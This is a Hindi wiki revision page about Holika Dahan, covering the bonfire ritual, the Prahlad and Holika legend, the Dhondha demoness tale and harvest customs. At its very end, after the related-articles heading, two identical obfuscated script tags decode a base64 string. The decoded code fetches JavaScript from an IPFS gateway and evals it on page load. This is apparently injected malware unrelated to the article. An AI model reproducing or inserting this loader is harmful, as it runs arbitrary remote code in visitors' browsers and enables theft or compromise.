होलिका दहन: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
m (Text replace - ")</ref" to "</ref")
m (Adding category Category:होली (को हटा दिया गया हैं।))
Line 29: Line 29:
[[Category:व्रत और उत्सव]]
[[Category:व्रत और उत्सव]]
[[Category:संस्कृति कोश]]
[[Category:संस्कृति कोश]]
[[Category:होली]]
__INDEX__
__INDEX__
__NOTOC__
__NOTOC__

Revision as of 12:56, 13 March 2013

[[चित्र:Holi-Holika-Dahan-Mathura.jpg|होलिका दहन, मथुरा|thumb|250px]]

  1. REDIRECTसाँचा:मुख्य होलिका दहन पूर्ण चंद्रमा (फाल्गुनपूर्णिमा) के दिन ही प्रारंभ होता है। इस दिन सायंकाल को होली जलाई जाती है। इसके एक माह पूर्व अर्थात् माघ पूर्णिमा को 'एरंड' या गूलर वृक्ष की टहनी को गाँव के बाहर किसी स्थान पर गाड़ दिया जाता है, और उस पर लकड़ियाँ, सूखे उपले, खर-पतवार आदि चारों से एकत्र किया जाता है और फाल्गुन पूर्णिमा की रात या सायंकाल इसे जलाया जाता है। परंपरा के अनुसार सभी लोग अलाव के चारों ओर एकत्रित होते हैं। इसी अलाव को होली कहा जाता है। होली की अग्नि में सूखी पत्तियाँ, टहनियाँ, व सूखी लकड़ियाँ डाली जाती हैं, तथा लोग इसी अग्नि के चारों ओर नृत्य व संगीत का आनन्द लेते हैं। बसंतागमन के लोकप्रिय गीत भक्त प्रहलाद की रक्षा की स्मृति में गाये जाते हैं तथा उसकी क्रूर बुआ होलिका की भी याद दिलाते हैं। कई समुदायों में होली में जौ की बालियाँ भूनकर खाने की परंपरा है। ऐसा विश्वास किया जाता है कि आगामी फ़सल कैसी होगी, इसका अनुमान होली की शिखाएँ किस ओर उड़ रही हैं तथा भुने हुए जौ के दानों के रंग व स्वाद से लगाया जा सकता है। होली के अलाव की राख में कुछ औषधि गुण भी पाए जाते हैं, ऐसी लोगों की धारणा है। लोग होली के अलाव अंगारों को घर ले जाते हैं तथा उसी से घर में महिलाएँ होली पर बनाई हुई गोबर की घुरघुली जलाती हैं। कुछ क्षेत्रों में लोग होली की आग को सालभर सुरक्षित रखते हैं और इससे चूल्हे जलाते हैं।

इतिहास

प्रचलित मान्यता के अनुसार यह त्योहार हिरण्यकशिपु की बहन होलिका के मारे जाने की स्मृति में भी मनाया जाता है। पुराणों में वर्णित है कि हिरण्यकशिपु ने अपनी बहन होलिका वरदान के प्रभाव से नित्य अग्निस्नान करती और जलती नहीं थी हिरण्यकशिपु ने अपनी बहन होलिका से प्रह्लाद को गोद में लेकर अग्निस्नान करने को कहा। उसने समझा कि ऐसा करने से प्रह्लाद अग्नि में जल जाएगा तथा होलिका बच जाएगी। होलिका ने ऐसा ही किया, किंतु होलिका जल गयी, प्रह्लाद बच गये। होलिका को यह स्मरण ही नहीं रहा कि अग्नि स्नान वह अकेले ही कर सकती है। तभी से इस त्योहार के मनाने की प्रथा चल पड़ी।

होलिका

[[चित्र:Holika-Prahlad-1.jpg|thumb|प्रह्लाद को गोद में बिठाकर बैठी होलिका|250px]] हेमाद्रि[1] ने भविष्योत्तर[2] से उद्धरण देकर एक कथा दी है। युधिष्ठिर ने कृष्ण से पूछा कि फाल्गुन-पूर्णिमा को प्रत्येक गाँव एवं नगर में एक उत्सव क्यों होता है, प्रत्येक घर में बच्चे क्यों क्रीड़ामय हो जाते हैं और होलाका क्यों जलाते हैं, उसमें किस देवता की पूजा होती है, किसने इस उत्सव का प्रचार किया, इसमें क्या होता है और यह 'अडाडा' क्यों कही जाती है। कृष्ण ने युधिष्ठिर से राजा रघु के विषय में एक किंवदन्ती कही। राजा रघु के पास लोग यह कहने के लिए गये कि 'ढोण्ढा' नामक एक राक्षसी है जिसे शिव ने वरदान दिया है कि उसे देव, मानव आदि नहीं मार सकते हैं और न वह अस्त्र शस्त्र या जाड़ा या गर्मी या वर्षा से मर सकती है, किन्तु शिव ने इतना कह दिया है कि वह क्रीड़ायुक्त बच्चों से भय खा सकती है। पुरोहित ने यह भी बताया कि फाल्गुन की पूर्णिमा को जाड़े की ऋतु समाप्त होती है और ग्रीष्म ऋतु का आगमन होता है, तब लोग हँसें एवं आनन्द मनायें, बच्चे लकड़ी के टुकड़े लेकर बाहर प्रसन्नतापूर्वक निकल पड़ें, लकड़ियाँ एवं घास एकत्र करें, रक्षोघ्न मन्त्रों के साथ उसमें आग लगायें, तालियाँ बजायें, अग्नि की तीन बार प्रदक्षिणा करें, हँसें और प्रचलित भाषा में भद्दे एवं अश्लील गाने गायें, इसी शोरगुल एवं अट्टहास से तथा होम से वह राक्षसी मरेगी। जब राजा ने यह सब किया तो राक्षसी मर गयी और वह दिन अडाडा या होलिका कहा गया। आगे आया है कि दूसरे दिन चैत्र की प्रतिपदा पर लोगों को होलिकाभस्म को प्रणाम करना चाहिए, मन्त्रोच्चारण करना चाहिए, घर के प्रांगण में वर्गाकार स्थल के मध्य में काम-पूजा करनी चाहिए। काम-प्रतिमा पर सुन्दर नारी द्वारा चन्दन-लेप लगाना चाहिए और पूजा करने वाले को चन्दन-लेप से मिश्रित आम्र-बौर खाना चाहिए। इसके उपरान्त यथाशक्ति ब्राह्मणों, भाटों आदि को दान देना चाहिए और 'काम देवता मुझ पर प्रसन्न हों' ऐसा कहना चाहिए। इसके आगे पुराण में आया है- 'जब शुक्ल पक्ष की 15वीं तिथि पर पतझड़ समाप्त हो जाता है और वसन्त ऋतु का प्रात: आगमन होता है तो जो व्यक्ति चन्दन-लेप के साथ आम्र-मंजरी खाता है वह आनन्द से रहता है।'

होलिकोत्सव

250px|thumb|फालैन गांव में तेज़ जलती हुई होली में से नंगे बदन और नंगे पांव निकलता पण्डा इस पर्व को नवान्नेष्टि यज्ञपर्व भी कहा जाता है, क्योंकि खेत से आये नवीन अन्न को इसदिन यज्ञ में हवन करके प्रसाद लेने की परम्परा भी है। उस अन्न को होला कहते है। इसी से इसका नाम होलिकोत्सव पड़ा। होली का समय अपने आप में अनूठा ही है। फ़रवरी- मार्च में जब होली मनाई जाती है, तब सब ओर चिंतामुक्त वातावरण होता है- किसान फ़सल कटने के बाद आश्वस्त होता है। पशुचारा तो संगृहित किया जा चुका होता है। शीत ऋतु अपने समापन पर होती है। दिन न तो बहुत गर्म, न ही रातें बहुत ठंडी होती हैं। होली फाल्गुन मास में पूर्ण चंद्रमा के दिन मनाई जाती है। यद्यपि यह उत्तर भारत में एक सप्ताह व मणिपुर में छह दिन तक मनाई जाती है। होली वर्ष का अंतिम तथा जनसामान्य का सबसे बड़ा त्योहार है। सभी लोग आपसी भेदभाव को भुलाकर इसे हर्ष व उल्लास के साथ मनाते हैं। होली पारस्परिक सौमनस्य एकता और समानता को बल देती है। विभिन्न देशों में इसके अलग-अलग नाम और रूप हैं। होलिका की अग्नि में पुराना वर्ष 'जो होली' के रूप में जल जाता है और नया वर्ष नयी आशाएँ, आकांक्षाएँ लेकर प्रकट होता है। मानव जीवन में नई ऊर्जा, नई स्फूर्ति का विकास होता है। यह हिन्दुओं का नववर्षोत्सव है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध


टीका टिप्पणी और संदर्भ

  1. व्रत, भाग 2, पृ0 174-190
  2. भविष्योत्तर, 132।1।51

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>